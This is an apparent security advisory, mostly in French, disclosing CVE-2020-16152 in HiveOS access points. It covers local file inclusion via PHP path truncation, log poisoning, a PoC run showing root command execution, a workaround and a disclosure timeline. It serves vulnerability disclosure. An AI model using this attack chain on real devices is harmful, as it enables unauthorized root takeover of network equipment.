
Explanation and PoC for CVE-2020-16152
| Vendeur du produit | Aerohive Networks / Extreme Networks |
| Nom du produit | HiveOS / IQ Engine |
| Version du produit | Testé sur 10.0r8a build-242466 et versions antérieures |
L'interface web administrative (NetConfig) d'Aerohive/Extreme Networks HiveOS est vulnérable à LFI car elle utilise une ancienne version de PHP vulnérable aux attaques de troncature de chaîne. Un attaquant peut utiliser cela en conjonction avec un empoisonnement des journaux pour obtenir les droits root sur un point d'accès vulnérable.
En guise de contournement, il est possible de désactiver l'interface web avec la commande suivante : no system web-server hive-UI enable pour se protéger contre cette vulnérabilité.
Le paramètre _page utilisé pour les appels à action/AhBaseAction.class.php5 tel que référencé par l'url /action.php5 est utilisé pour charger dynamiquement une classe PHP utilisée pour une page comme on peut le voir dans l'extrait de code ci-dessous ($pageName est extrait de $_POST['_page']) :
protected function getAccess($pageName,$actionType) {
$filename = $pageName.'Access.class.php5';
$classname = $pageName.'Access';
if (include_once $filename) {
require_once $filename;
return new $classname($this->user,$actionType);
}
...
}
Comme on peut le voir, il n'y a pas de préfixe pour ce nom de fichier, ce qui permet de parcourir le chemin vers des fichiers arbitraires. Cependant, comme nous avons un suffixe, il n'est pas possible d'inclure n'importe quel fichier. Étant donné que la version de PHP sur le point d'accès est assez ancienne, nous pouvons contourner cela (plus d'infos) :
$ php-cgi -v
PHP Warning: PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies
En remplissant le chemin avec suffisamment de caractères /, nous pouvons nous assurer que le suffixe Access.class.php5 est complètement tronqué et nous sommes libres d'inclure des fichiers arbitraires.
Comme les tentatives de connexion échouées sont enregistrées dans /tmp/messages et incluent le nom d'utilisateur soumis, nous pouvons utiliser la page de connexion pour empoisonner /tmp/messages puis exécuter du code à partir de celui-ci avec l'attaque LFI listée ci-dessus.
Bien que le serveur web lui-même fonctionne avec un utilisateur à faibles privilèges, l'instance php-cgi utilisée par hiawatha fonctionne en réalité en tant que root, ce qui signifie que tout le code PHP est exécuté en tant que root :
$ ps | egrep "php|hiawatha"
2237 root 9980 S /usr/local/bin/php-cgi -b 127.0.0.1:2008
12088 admin 20840 S /usr/local/sbin/hiawatha
$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice ah_webui: security: Admin "<
uid=0(root) gid=0(root)
| 2019/02/17 | Problème signalé à Aerohive Networks |
| 2019/02/19 | Accusé de réception du problème reçu par le vendeur, contournement suggéré par le vendeur (désactiver l'interface web) |
| 2019/02/25 | Confirmation du problème par le vendeur |
| 2019/03/18 | Relance ? |
| 2019/05/30 | Relance ? |
| 2019/06/03 | Le vendeur suggère un appel téléphonique, réponse avec les coordonnées téléphoniques. Aucun appel n'a été reçu |
| 2019/08/12 | Relance ? Le vendeur a répondu que le problème est escaladé en interne |
| 2019/09/23 | Relance ? |
| 2019/09/25 | Le vendeur répond que le problème LFI n'a pas encore été traité |
| 2020/07/30 | Constaté que le problème n'est toujours pas corrigé dans HiveOS 10.0r8a build-242466 qui date de 05/2020. Réservé le CVE et communiqué le délai de publication au 2020/09/01 à moins qu'un correctif ne soit activement en cours |
| 2020/09/01 | Toujours aucune réponse du vendeur, publication des détails et du PoC |